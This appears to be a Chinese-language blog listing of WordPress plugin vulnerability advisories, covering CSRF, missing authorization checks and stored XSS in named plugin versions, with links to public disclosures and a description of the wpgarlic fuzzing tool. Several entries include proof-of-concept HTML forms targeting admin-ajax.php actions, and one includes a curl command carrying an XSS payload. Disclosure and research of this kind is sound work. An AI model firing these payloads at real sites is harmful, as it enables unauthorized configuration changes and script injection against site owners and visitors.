由于没有对AJAX进行NONCE和权限的判断,从而导致CSRF漏洞 POC如下: < html> < body> < form action="http://localhost/new/wp-admin/admin-ajax.php?action=has_task" method="POST" enctype="multipart/form-data"> < input type="hidden" name="task_name" value="room-floor"> < input type="submit" name="Submit"> < /form> < /body> < /html> 导致了一些内部信息的泄露
Category: Wordpress Plugins Vulnerabilities
Wordpress Plugins Vulnerabilities
SEO Scout plugin <= 0.9.83 未经验证的函数调用导致配置修改
由于没有对AJAX异常调用的时候进行nonce验证和当前角色权限的判断,从而导致了CSRF漏洞 漏洞详情—>https://patchstack.com/database/vulnerability/ab-rankings-testing-tool/wordpress-seo-scout-plugin-0-9-83-cross-site-request-forgery-csrf-vulnerability
Multivendor Marketplace Solution for WooCommerce < 3.8.12 - 未经授权的函数调用
这个插件很多地方的AJAX调用函数都没有对当前用户权限进行判断,导致可以任意操作一些危险的AJAX动作,比如暂停插件用户,随意更改订单状态等等 关于此漏洞更加详细的信息请查看这里:https://wpscan.com/vulnerability/c600dd04-f6aa-430b-aefb-c4c6d554c41a
WordPress Notification Bar for WordPress plugin <= 1.1.8 - 未经认证用户的存储型XSS漏洞攻击
由于缺少CSRF的检测,导致任何用户可以修改插件配置,把危险代码存储进数据库,从而导致进一步的XSS攻击 POC如下: < html> < body> < form action="http://exsample.com/wp-admin/admin-ajax.php?action=ajax_subscribe" method="POST" enctype="multipart/form-data"> < input type="hidden" name="email" value="e[email protected]“> < input type="submit" name="Submit"> < /form> < /body> < /html> 一旦管理员访问了后台该插件配置,立刻触发了XSS攻击代码
WordPress Alpine PhotoTile for Pinterest plugin <= 1.3.1 - 认证用户可进行XSS漏洞攻击
由于缺少特殊字符的过滤,认证用户在插件配置中可以进行XSS攻击 具体信息已经由patchstack披露: https://patchstack.com/database/vulnerability/alpine-photo-tile-for-pinterest/wordpress-alpine-phototile-for-pinterest-plugin-1-3-1-authenticated-stored-cross-site-scripting-xss-vulnerability
WordPress THE Leads Management System: 59sec LITE plugin <= 3.4.1 未经认证用户随意更改插件配置
由于缺少对AJAX的授权认证,导致未经认证用户随意更改插件配置,比如保存插件的tokens设置, 以下为POC < html> < body> < form action=”http://exsample.com/wp-admin/admin-ajax.php?action=59sec_save_tokens” method=”POST” enctype=”multipart/form-data”> < input type=”hidden” name=”device_token” value=”anyvalue”> < input type=”submit” name=”Submit”> < /form> < /body> < /html>
WordPress AS – Create Pinterest Pinboard Pages plugin <= 1.0 存在存储型XSS漏洞
在由于没有对导步AJAX执行进行CSRF验证导致验证用户,如subscriber也可以随意更新插件配置,而由于缺少特殊字符的转义和过滤,由此 导致了XSS的漏洞,POC如下 curl ‘http://example.com/wp-admin/admin-ajax.php’ –data ‘action=as_edit_pins_page&post_title=<script>alert(String.fromCharCode(88,83,83))</script>&post_id=9’ PS:这个ID 9 必需是存在的
WordPress ЮKassa для WooCommerce plugin <= 2.3.0 跨站请求漏洞
ЮKassa для WooCommerce plugin 是一款支持RUSSIA支付yandex的一款商场插件, 在文件yookassa/admin/yookassaadmin.php 第58行add_action( ‘wp_ajax_yookassa_save_settings’, array( $this, ‘save_settings’ ) ); 中save_settings函数被挂在wp_ajax_yookassa_save_settings上, 在第563-604行中的save_settings函数,我们看下 public function save_settings() { header(‘Content-Type: application/json’); if (!is_ajax()) { echo json_encode(array(‘status’ => ‘error’, ‘error’ => …
自动批量检测wordpress插件漏洞的工具—-wpgarlic
wordpress拥有上百万个插件,而且还在不断地增加,作为一名安全研究人员,如何快速有效地找到一些插件的漏洞,单凭人力手工检测,效率肯定不会很高,最近在浏览国外论坛的时候发现了一个半自动化 批量检测wordpress插件安全漏洞的工具—wpgarlic 下面简单介绍下这款工具的原理 WordPress插件公开了许多接口,例如:AJAX endpoints ( /wp-admin/admin-ajax.php),管理菜单页面 ( /wp-admin/admin.php?page=…),PHP目录(在/wp-content/plugins/目录中),REST 路由 ( /wp-json/…) 这些接口在特定的情况下允许外部输入从而导致不可信输入的数据参数,并且可以检测在该输入上执行了哪些操作。 所以这个工具它可以多次执行每个 AJAX 端点、菜单页面、REST 路由或文件,将有效负载注入 GET、POST 等数组或 REST 参数,用一堆正则表达式1分析输出以检测: 包括:调用 WordPress 函数(例如wp_delete_post),分析代码出错崩溃的反馈(例如“No such file or directory”, “You have …
wordpress 插件Content Mask < 1.8.4.1 - 未经认证的用户可以任意更新网站配置
The plugin does not have authorisation and CSRF checks in various AJAX actions, as well as does not validate the option to be updated to ensure it belongs to the …